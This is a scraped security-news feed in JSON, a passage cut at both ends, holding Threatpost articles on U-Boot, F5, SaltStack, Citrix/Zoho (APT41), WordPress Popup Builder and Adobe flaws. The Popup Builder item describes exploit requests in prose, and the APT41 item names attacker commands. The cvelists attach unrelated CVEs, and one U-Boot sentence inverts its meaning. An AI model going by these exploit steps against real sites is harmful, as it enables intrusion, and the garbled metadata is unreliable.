"Multiple vulnerabilities have been found in [Das U-Boot](<https://www.denx.de/wiki/U-Boot>), a universal bootloader commonly used in embedded devices like Amazon Kindles, ARM Chromebooks and networking hardware. The bugs could allow attackers to gain full control of an impacted device\u2019s CPU and modify anything they choose.\n\nResearchers at ForAllSecure found the flaws in U-Boot\u2019s file system drivers. They include a recursive stack overflow in the DOS partition parser, a pair of buffer-overflows in ext4 and a double-free memory corruption flaw in ext4. They open the door to denial-of-service attacks, device takeover and code-execution.\n\nThere are both local and remote paths to exploitation for these flaws. If a vulnerable device is configured to boot from external media, such as an SD card or USB drive, attackers with physical access could subvert the normal boot process of the device and control the loading of the operating system, giving them substantial control over the device.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIf the device is configured to network boot, remote attackers could use an initial method to compromise the corporate or Wi-Fi network that a target device is attached to (including social-engineering malware onto a victim\u2019s endpoint or exploiting known vulnerabilities), and from there attacking the U-Boot device from that local network location.\n\n\u201cThe most obvious route for exploitation requires physical access, and could either cause denial of service (possible device bricking) or could subvert the boot process for a device or possibly bypass trusted boot,\u201d Maxwell Koo, ForAllSecure analysis engineer, told Threatpost in an interview. \u201cIf device is configured to allow pxe boot and is configured with CONFIG_CMD_FS_GENERIC, there is a possible network avenue of exploitation via CVE-2019-13104 through -13106, with the same impact.\u201d\n\nHe added, \u201cI\u2019d say it would take moderate-to-high expertise to develop an initial exploit for a given device.\u201d\n\n## Technical Details\n\nCVE-2019-13103 is a stack overflow that affects all versions of U-Boot in the archives, which occurs when reading a DOS partition table, which refers to itself. This causes the \u201cpart_get_info_extended\u201d function to call itself repeatedly with the same arguments, causing unbounded stack growth.\n\n\u201cOn QEMU\u2019s vexpress-a15 board, the CPU returns to 0 but continues executing NOPs until it hits data and executes it,\u201d according to the [GitHub write-up](<https://gist.github.com/deephooloovoo/d91b81a1674b4750e662dfae93804d75>) from the ForAllSecure interns who discovered the flaws, Paul Emge and Zion Basque.\n\nIn a technical analysis shared with Threatpost, the researchers explained that in testing, an emulated [ARM CPU](<https://threatpost.com/google-arm-android-bugs-memory-tagging/146950/>) \u201cis happy to execute a bunch of NOPs from this memory location, until, after many megabytes, it reaches some data and returns to 0 again.\u201d This would lead to DoS, but depending on the exact system and software installed, something worse could happen.\n\n\u201cFor example, other data in this part of the address space could get executed and lead to other anomalous behaviors, including the ability to run attacker provided code,\u201d they wrote.\n\nAs for the buffer-overflow flaws, CVE-2019-13104 affects U-Boot versions 2016.11-rc1 through 2019.07-rc4. At ext4fs.c:74 it is possible for len to underflow while listing files in a crafted filesystem.\n\n\u201cIf this happens, eventually there is a memcpy with a negative (so effectively infinite) length,\u201d the research pair wrote. \u201cThis causes all of memory to be overwritten until [in sandbox testing], it segfaults\u2026There\u2019s definitely memory corruption.\u201d\n\nThe second, more serious buffer-overflow issue is CVE-2019-13106, affecting U-Boot versions 2016.09 through 2019.07-rc4.. The ext4 code can overwrite portions of the stack with 0s in the ext4fs_read_file function, while listing files in an untrusted filesystem. Researchers said that the bug could \u201ceasily give complete control of the CPU,\u201d which would defeat verified boot.\n\n\u201cThe bug occurs when a filename (or potentially some other structure) is located across a block boundary,\u201d explained the researchers in the GitHub post. \u201cThe number of 0s written to the stack is controllable by changing the position of the filename.\u201d\n\nAnd in CVE-2019-13105, which affects U-Boot versions 2019.07-rc1 through 2019.07-rc4, if there is an invalid/out-of bounds block number, ext_cache_read doesn\u2019t set the freed cache->buf to 0, which results in a double-free issue in ext_cache_ini. A double-free vulnerability occurs when, as the name says, a variable is free()\u2019d twice. The variable is still usable, but the memory pointed to that variable can be free.\n\nForAllSecure also found five low-severity divide-by-zero bugs, triggered by invalid extended file systems.\n\nU-Boot patched the bugs as of its v. 2019.10 release \u2013 but devices are likely still vulnerable given that the update process is controlled by the vendor of the device rather than U-Boot itself.\n\n\u201cAs a bootloader, which is often used in embedded devices with a long/non-existent update cycle, the unpatched code is likely present and will remain present on many devices for some time,\u201d Koo told Threatpost. \u201cSeverity depends somewhat on configuration of the device in question (U-Boot is pretty configurable and this will differ a lot between devices).\u201d\n\nAmazon did not immediately respond to a request for comment.\n\nIf support for DOS partitions or ext4 filesystem images is not present in the U-Boot configuration of a device, then the bugs have impact.\n\n**_What are the top risks to modern enterprises in the peak era of data breaches? Find out: Join breach expert Chip Witt from SpyCloud and Threatpost senior editor Tara Seals, in our upcoming free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_, \u201cTrends in Fortune 1000 Breach Exposure.\u201d _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-11-07T17:31:06", "type": "threatpost", "title": "Amazon Kindle, Embedded Devices Open to Code-Execution", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-13103", "CVE-2019-13104", "CVE-2019-13105", "CVE-2019-13106", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2019-11-07T17:31:06", "id": "THREATPOST:D0762E9D61E59AD261E8F24340AE261C", "href": "https://threatpost.com/amazon-kindle-embedded-devices-code-execution/150003/", "cvss": {"score": 8.3, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:C"}}, {"lastseen": "2020-10-15T22:22:15", "description": "Researchers warn that APT41, a notorious China-linked threat group, has targeted more than 75 organizations worldwide in \u201cone of the broadest campaigns by a Chinese cyber-espionage actor observed in recent years.\u201d\n\nBetween Jan. 20 and March 11, researchers observed APT41 exploiting vulnerabilities in Citrix NetScaler/ADC, Cisco routers and Zoho ManageEngine Desktop Central as part of the widespread espionage campaign. Researchers said it\u2019s unclear if APT41 attempted exploitation en masse, or if they honed in on specific organizations \u2014 but the victims do appear to be more targeted in nature.\n\n\u201cWhile APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41,\u201d wrote Christopher Glyer, Dan Perez, Sarah Jones and Steve Miller with FireEye, in a [Wednesday analysis](<https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nDozens of companies were targeted from varying industries, including banking and finance, defense industrial bases, government, healthcare, legal, manufacturing, media, non-profit, oil and gas, transportation and utilities. APT41 also targeted firms from a broad array of countries, including Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, the U.K. and the U.S.\n\n**Cisco, Citrix and Zoho Exploits**\n\nStarting on Jan. 20, researchers observed the threat group attempting to exploit the notorious flaw ([CVE-2019-19781](<https://support.citrix.com/article/CTX267027>)) in Citrix Application Delivery Controller (ADC) and Citrix Gateway devices revealed as a zero-day then patched earlier this year. It was [disclosed on Dec. 17](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) \u2013 and [proof of concept (PoC) code](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) was released shortly after \u2013 before a patch [was issued in January](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>).\n\nIn this campaign, researchers observed three waves of exploits against [CVE-2019-19781](<https://threatpost.com/critical-citrix-rce-flaw-corporate-lans/152677/>) \u2013 the first on Jan. 20 \u2013 21, the second on Feb. 1, and finally a \u201csignificant uptick\u201d in exploitation on Feb. 24 \u2013 25.\n\nPost-exploit, APT41 executed a command (\u2018file /bin/pwd\u2019) on affected systems that researchers say may have achieved two objectives: \u201cFirst, it would confirm whether the system was vulnerable and the mitigation wasn\u2019t applied,\u201d researchers noted. \u201cSecond, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.\u201d\n\nOn Feb. 21, researchers next observed APT41 switching gears to exploit a Cisco RV320 router (Cisco\u2019s WAN VPN routers for small businesses) at a telecommunications organization. After exploitation, the threat actors downloaded an executable and linkable format (ELF) binary payload. Researchers aren\u2019t sure what specific exploit was used in this case, but pointed to a Metasploit module combining two CVEs ([CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) and [CVE-2019-1652](<https://nvd.nist.gov/vuln/detail/CVE-2019-1652>)) to [enable remote code execution on Cisco RV320 and RV325](<https://www.rapid7.com/db/modules/exploit/linux/http/cisco_rv32x_rce>) small business routers.\n\n[![APT41 timeline ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/25112442/APT41-timeline.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/25112442/APT41-timeline.png>)\n\nFinally, on March 8, the threat actor was observed [exploiting a critical vulnerability](<https://threatpost.com/critical-zoho-zero-day-flaw-disclosed/153484/>) in Zoho ManageEngine Desktop Central, an endpoint management tool to help users manage their servers, laptops, smartphones, and more from a central location. The flaw ([CVE-2020-10189)](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>) was first disclosed on March 5 as a zero-day, and [was later patched](<https://www.us-cert.gov/ncas/current-activity/2020/03/06/zoho-releases-security-update-manageengine-desktop-central>) on March 7. The attackers exploited the flaw to deploy payloads (install.bat and storesyncsvc.dll) in two ways. First, after exploiting the flaw they directly uploaded a simple Java-based program (\u201clogger.zip\u201d) containing a set of commands, which then used PowerShell to download and execute the payloads. In a second attack, APT41 leveraged a legitimate Microsoft command-line tool, BITSAdmin, to download the payload.\n\nNotably, after exploitation, the attackers have been seen only leveraging publicly available malware, including Cobalt Strike (a [commercially available exploitation framework](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>)) and Meterpreter (a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code). Said researchers: \u201cWhile these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance.\u201d\n\n**APT41 Activity **\n\nInterestingly, between waves of exploitation, researchers observed a lull in APT41 activity. The first lull, between Jan. 23 and Feb. 1, was likely related to the Chinese Lunar New Year holidays (which occurred Jan. 24 \u2013 30): \u201cThis has been a common activity pattern by Chinese APT groups in past years as well,\u201d said researchers.\n\nThe second lull, occurring Feb. 2 \u2013 19, may have been related to fallout from the rapid spread of the coronavirus pandemic. Researchers noted that China had initiated [COVID-19 related quarantines](<https://threatpost.com/coronavirus-themed-cyberattacks-persists/153493/>) in cities in the Hubei province Jan. 23 \u2013 24, and rolled out quarantines to additional provinces starting between Feb. 2 and Feb. 10.\n\n\u201cWhile it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry,\u201d said researchers.\n\nThey also said that [APT41 ](<https://threatpost.com/fortnite-ransomware-masquerades-as-an-aimbot-game-hack/147549/>) has [historically](<https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html>) (since 2012) conducted dual Chinese state-sponsored espionage activity and personal, financially motivated activity. More recently, in October 2019, the [threat group was discovered](<https://threatpost.com/china-hackers-spy-texts-messagetap-malware/149761/>) using a new malware strain to intercept telecom SMS server traffic and sniff out certain phone numbers and SMS messages \u2013 particularly those with keywords relating to Chinese political dissidents.\n\n\u201cIn 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks,\u201d said researchers on Wednesday. \u201cThis new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-03-25T15:57:25", "type": "threatpost", "title": "Chinese Hackers Exploit Cisco, Citrix Flaws in Massive Espionage Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-1652", "CVE-2019-1653", "CVE-2019-19781", "CVE-2020-10189", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-03-25T15:57:25", "id": "THREATPOST:AB0F3CD65F9FE00689C1695CB89ADC3F", "href": "https://threatpost.com/chinese-hackers-exploit-cisco-citrix-espionage/154133/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:17:15", "description": "Security experts are urging companies to deploy an urgent patch for a critical vulnerability in F5 Networks\u2019 networking devices, which is being actively exploited by attackers to scrape credentials, launch malware and more.\n\nLast week, F5 Networks issued urgent patches for the critical remote code-execution flaw ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), which has a CVSS score of 10 out of 10. The flaw exists in the configuration interface of the company\u2019s BIG-IP app delivery controllers, which are used for various networking functions, including app-security management and load-balancing. Despite a patch being available, Shodan [shows](<https://twitter.com/GossiTheDog/status/1279005317821497344/photo/1>) almost 8,500 vulnerable devices are still available on the internet.\n\nNot long after the flaw was disclosed, public exploits [were made](<https://twitter.com/wugeej/status/1280008779359125504?s=20>) available for it, leading to mass scanning for [vulnerable devices ](<https://twitter.com/bad_packets/status/1279884302990237696?s=20>)by attackers and ultimately active exploits. Researchers warn that they\u2019ve seen attackers targeting the flaw over the weekend for various malicious activities, including launching [Mirai variant DvrHelper](<https://threatpost.com/new-mirai-variant-mukashi-targets-zyxel-nas-devices/153982/>), deploying cryptocurrency mining malware and [scraping credentials](<https://twitter.com/GossiTheDog/status/1279856862888898568>) \u201cin an automated fashion.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nRich Warren, principal security consultant for NCC Group, [said Monday on Twitter](<https://twitter.com/buffaloverflow/status/1279384540847489024>) that \u201cas of this morning we are seeing an uptick in RCE attempts against our honeypots, using a combination of either the public Metasploit module, or similar via Python.\u201d\n\n> Ok, we are seeing active exploitation of CVE-2020-5902\n> \n> Patch it today\n> \n> \u2014 Rich Warren (@buffaloverflow) [July 4, 2020](<https://twitter.com/buffaloverflow/status/1279384540847489024?ref_src=twsrc%5Etfw>)\n\nThe exploit of the flaw is trivial: Mikhail Klyuchnikov with Positive Technologies, [who originally discovered the flaw](<https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/>), said that in order to exploit the vulnerability, an unauthenticated attacker would only need to send a specifically crafted HTTP request to the server hosting the Traffic Management User Interface (TMUI) utility for BIG-IP configuration.\n\n\u201cBy exploiting this vulnerability, a remote attacker with access to the BIG-IP configuration utility could, without authorization, perform remote code execution (RCE1),\u201d Klyuchnikov said. \u201cThe attacker can create or delete files, disable services, intercept information, run arbitrary system commands and Java code, completely compromise the system, and pursue further targets, such as the internal network.\u201d\n\n[Vulnerable versions of BIG-IP (](<https://support.f5.com/csp/article/K52145254>)11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) should be updated to the corresponding fixed versions (11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4), he said.\n\nAs more active exploits are detected in the wild, [F5 Networks](<https://twitter.com/F5Networks/status/1279022116868960257>), the [U.S. Cyber Command](<https://twitter.com/CNMF_CyberAlert/status/1279151966178902016>) and [Chris Krebs](<https://twitter.com/CISAKrebs/status/1279939623062581251>), director at the U.S. Cybersecurity and Infrastructure Security Agency (CISA), have all urged administrators to implement the offered fixes as soon as possible.\n\nAnother flaw was also fixed last week in BIG-IP that could allow an authenticated attacker to launch cross-site scripting attacks. The flaw ([CVE-2020-5903](<https://support.f5.com/csp/article/K43638305>)) allows attackers to run malicious JavaScript code as a logged-in user.\n\nF5 Networks previously [dealt with security issues](<https://threatpost.com/authentication-bypass-bug-enterprise-vpns/143781/>) in 2019 when its VPN app (as well as ones built by Cisco, Palo Alto Networks and Pulse Secure) was discovered to improperly store authentication tokens and session cookies without encryption on a user\u2019s computer.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-06T19:06:20", "type": "threatpost", "title": "Admins Urged to Patch Critical F5 Flaw Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-07-06T19:06:20", "id": "THREATPOST:312E32AA4DC31CFD90D946BC7E36088B", "href": "https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:19:14", "description": "Cisco said attackers have been able to compromise its servers after exploiting two known, critical[ SaltStack vulnerabilities](<https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/>). The flaws exist in the open-source Salt management framework, which are used in Cisco network-tooling products.\n\nTwo Cisco products incorporate a version of SaltStack that is running the vulnerable salt-master service. The first is Cisco Modeling Labs Corporate Edition (CML), which gives users a virtual sandbox environment to design and configure network topologies. The second is Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), used to design, configure and operate networks using versions of Cisco\u2019s network operating systems.\n\nHackers were able to successfully exploit the flaws incorporated in the latter product, resulting in the compromise of six VIRL-PE backend servers, according to Cisco. Those servers are: us-1.virl.info, us-2.virl.info, us-3.virl.info, us-4.virl.info, vsm-us-1.virl.info and vsm-us-2.virl.info.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cCisco infrastructure maintains the salt-master servers that are used with Cisco VIRL-PE,\u201d according to [Cisco\u2019s Thursday alert](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG>). \u201cThose servers were upgraded on May 7, 2020. Cisco identified that the Cisco maintained salt-master servers that are servicing Cisco VIRL-PE releases 1.2 and 1.3 were compromised.\u201d\n\nCisco said the servers were remediated on May 7. The company also released software updates for the two vulnerable products. Cisco said that the update is \u201ccritical,\u201d ranking it 10 out of 10 on the CVSS scale.\n\nThe SaltStack bugs were first made public by the Salt Open Core team on April 29. The flaws can allow full remote code execution as root on servers in data centers and cloud environments. They include an authentication bypass issue, tracked as CVE-2020-11651, and a directory-traversal flaw, CVE-2020-11652, where untrusted inputs (i.e. parameters in network requests) are not sanitized correctly. This in turn allows access to the entire file system of the master server, researchers found.\n\nSaltStack released patches for the flaw in [release 3000.2](<https://lists.opensuse.org/opensuse-security-announce/2020-04/msg00047.html>), on April 30 \u2013 however, researchers with F-Secure, who discovered the flaw, said a preliminary scan revealed more than 6,000 potentially vulnerable Salt instances exposed to the public internet \u2014 and warned that exploits in the wild are imminent.\n\nThose predictions have proved true: In the beginning of May, for instance, hackers targeted the publishing platform Ghost by exploiting critical [vulnerabilities in ](<https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/>)[SaltStack](<https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/>), used in Ghost\u2019s server management infrastructure to launch a cryptojacking attack against its servers that led to widespread outages.\n\nCisco said that for Cisco CML and Cisco VIRL-PE (software releases 1.5 and 1.6) if the salt-master service is enabled \u201cthe exploitability of the product depends on how the product has been deployed.\u201d A full list of the impact and recommended action for each deployment option, for each Cisco software release, [can be found on Cisco\u2019s alert](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG>).\n\nTo be exploited, the salt-master service must be reachable on TCP ports 4505 and 4506, Cisco said. The company added that administrators can check their configured Cisco salt-master server by navigating to VIRL Server > Salt Configuration and Status.\n\n\u201cCisco continues to strongly recommend that customers upgrade to a fixed software release to remediate these vulnerabilities,\u201d Cisco said.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-05-28T20:51:25", "type": "threatpost", "title": "Hackers Compromise Cisco Servers Via SaltStack Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-11651", "CVE-2020-11652", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-05-28T20:51:25", "id": "THREATPOST:64DC6B60F693E46DD314DB70A547D319", "href": "https://threatpost.com/hackers-compromise-cisco-servers-saltstack/156091/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:22:53", "description": "Two vulnerabilities \u2013 including a high-severity flaw \u2013 have been patched in a popular WordPress plugin called Popup Builder. The more severe flaw could enable an unauthenticated attacker to infect malicious JavaScript into a popup \u2013 potentially opening up more than 100,000 websites to takeover.\n\n[Popup Builder](<https://wordpress.org/plugins/popup-builder/>) helps users create and manage popups \u2013 such as marketing or promotional notices \u2013 for their websites. This week, software development company Sygnoos, the owner of Popup Builder, issued a patch addressing several vulnerabilities in the plugin.\n\n\u201cThese flaws have been patched in version 3.64.1 and we recommend that users update to the latest version available immediately,\u201d according to researchers with [Wordfence, on Thursday](<https://www.wordfence.com/blog/2020/03/vulnerabilities-patched-in-popup-builder-plugin-affecting-over-100000-sites/>). \u201cWhile we have not detected any malicious activity targeting Popup Builder, the stored XSS vulnerability can have a serious impact on site visitors and potentially even allow site takeover.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe more severe vulnerability (CVE-2020-10196) stems from a stored cross-site scripting (XSS) flaw in an AJAX hook used by the WordPress plugin. In WordPress plugin development, developers have the ability to register AJAX hooks, which allows them to call functions directly. However, in this specific plugin, the AJAX hook was available to unprivileged users, and it lacked nonce checks or capability checks for the functions called.\n\n\u201cThis meant that an unauthenticated attacker could send a POST request to wp-admin/admin-ajax.php with an array parameter, \u2018allPopupData\u2019, containing a number of key-value pairs, including a popup\u2019s ID (visible in the page source) and a malicious JavaScript payload, which would then be saved in that popup\u2019s settings and executed whenever a visitor navigated to a page where the popup was displayed,\u201d said researchers.\n\nWhile attackers typically use a vulnerability like this to redirect site visitors to [malvertising sites](<https://threatpost.com/wordpress-plugin-flaws-exploited-in-ongoing-malvertising-campaign/146629/>) or steal sensitive information from their browsers, researchers say that the flaw could also be exploited for site takeover if an administrator visited or previewed a page containing the infected popup while logged in.\n\nThe bug ranks 8.3 out of 10.0 on the CVSS severity scale. Version 3.63 of the plugin is affected; researchers urge users to update to version 3.64.1.\n\nPopup Builder also has another medium-severity vulnerability (CVE-2020-10195) that could be exploited by subscribers (users who are logged in, but with minimal permissions). Researchers said, by sending a request ($_POST ) to admin-post.php (with the \u2018action\u2019 parameter set to \u2018sgpbSaveSettings\u2019 and the \u2018sgpb-user-roles[]\u2019 parameter set to \u2018subscriber\u2019), an attacker could grant all subscriber-level users a number of permissions related to the plugin\u2019s functionality.\n\n\u201cIn addition to granting access to create and manage categories and newsletters, this would allow an attacker to make use of other AJAX functions that were protected by nonces, but not by capability checks, since usable nonces were displayed on these pages,\u201d said researchers. \u201cAlternatively, a $_POST request could be sent to admin-post.php with the \u2018action\u2019 parameter set to \u2018csv_file\u2019, making it possible to export a list of newsletter subscribers. As a result, an attacker could gain access to sensitive newsletter subscriber information and use this during a social engineering attack against those subscribers.\u201d\n\nEarlier this week, a [critical vulnerability](<https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/>) was found in a WordPress plugin known as \u201cThemeREX Addons\u201d that could open the door for remote code execution in tens of thousands of websites. According to Wordfence, the bug has been actively exploited in the wild as a zero-day. And earlier this month, researchers warned that active exploits were targeting a recently patched flaw in the popular [WordPress plugin Duplicator](<https://threatpost.com/active-attacks-duplicator-wordpress-plugin/153138/>), which has more than 1 million active installations. So far, researchers have seen 60,000 attempts to harvest sensitive information from victims.\n\n**_Interested in security for the Internet of Things and how 5G will change things? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-13T20:53:31", "type": "threatpost", "title": "WordPress Plugin Bug in Popup Builder Threatens 100K Websites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-10195", "CVE-2020-10196", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-13T20:53:31", "id": "THREATPOST:023426685093FC21F8E5A7DE88AAB901", "href": "https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:24:10", "description": "Adobe has issued unscheduled patches for two critical vulnerabilities that, if exploited, enable an attacker to execute remote code on targeted devices.\n\nThe two apps affected by the critical flaws are Adobe After Effects, a visual effects and motion graphics app used for post-production film making and video game production, and Adobe Media Encoder, an application to help with media processing requirements for audio and video.\n\n\u201cBoth vulnerabilities can be exploited by a remote, unauthenticated attacker via the internet, and both exist \u201cdue to a boundary error when processing untrusted input,\u201d according to an [analysis of the flaws](<https://www.cybersecurity-help.cz/vdb/SB2020022010?affChecked=1>) after they were disclosed Wednesday evening. \u201cA remote attacker can create a specially crafted file, trick the victim into opening it using the affected software, trigger out-of-bounds write and execute arbitrary code on the target system.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAdobe After Effects has an out-of-bounds write flaw ([CVE-2020-3765](<https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-3765>)), which stems from write operations that then produce undefined or unexpected results. This could enable arbitrary code execution, according to [Adobe\u2019s update](<https://helpx.adobe.com/security/products/after_effects/apsb20-09.html>). Adobe After Effects versions 16.1.2 and earlier (for Windows) are affected. Users need to update to version 17.0.3, available on both Windows and macOS.\n\nWhile the vulnerability is critical in severity, the update has a priority 3 rating, which according to Adobe \u201cresolves vulnerabilities in a product that has historically not been a target for attackers. Adobe recommends administrators install the update at their discretion.\u201d\n\nThe other vulnerability, in Adobe Media Encoder, is also a critical out-of-bounds write vulnerability ([CVE-2020-3764](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3764>)) that could enable arbitrary code execution. Adobe Media Encore versions 14.0 and earlier (for Windows) are impacted; the patched version is 14.0.2 (also in a \u201cpriority 3\u201d update).\n\n\u201cThe Media Encoder is a relatively straightforward open-and-own scenario,\u201d Dustin Childs, manager with Trend Micro\u2019s Zero Day Initiative (which discovered the flaw), told Threatpost. \u201cThe issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process.\u201d\n\nMatt Powell (for CVE-2020-3765) and Francis Provencher (for CVE-2020-3764) with Trend Micro\u2019s Zero Day Initiative were credited for discovering these vulnerabilities. Adobe said it is not aware of any exploits in the wild for flaws.\n\nThese latest patches come a week after Adobe [issued its regularly scheduled fixes](<https://threatpost.com/adobe-security-update-critical-flash-framemaker-flaws/152782/>) for February, which stomped out flaws tied to 42 CVEs. Thirty-five of those flaws were critical in severity, including ones that affected its Framemaker and Flash Player products, which, if exploited, could lead to arbitrary code-execution. And, in [Adobe\u2019s January security update](<https://threatpost.com/adobe-patches-critical-illustrator-cc-flaws/151812/>), it addressed nine vulnerabilities overall, including ones in Adobe Illustrator CC and Adobe Experience Manager.\n", "cvss3": {}, "published": "2020-02-20T13:26:32", "type": "threatpost", "title": "Critical Adobe Flaws Fixed in Out-of-Band Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3764", "CVE-2020-3765"], "modified": "2020-02-20T13:26:32", "id": "THREATPOST:C7447BBBEA06E3A901BB1A9A66AB85FF", "href": "https://threatpost.com/critical-adobe-flaws-fixed-in-out-of-band-update/153060/", "cvss": 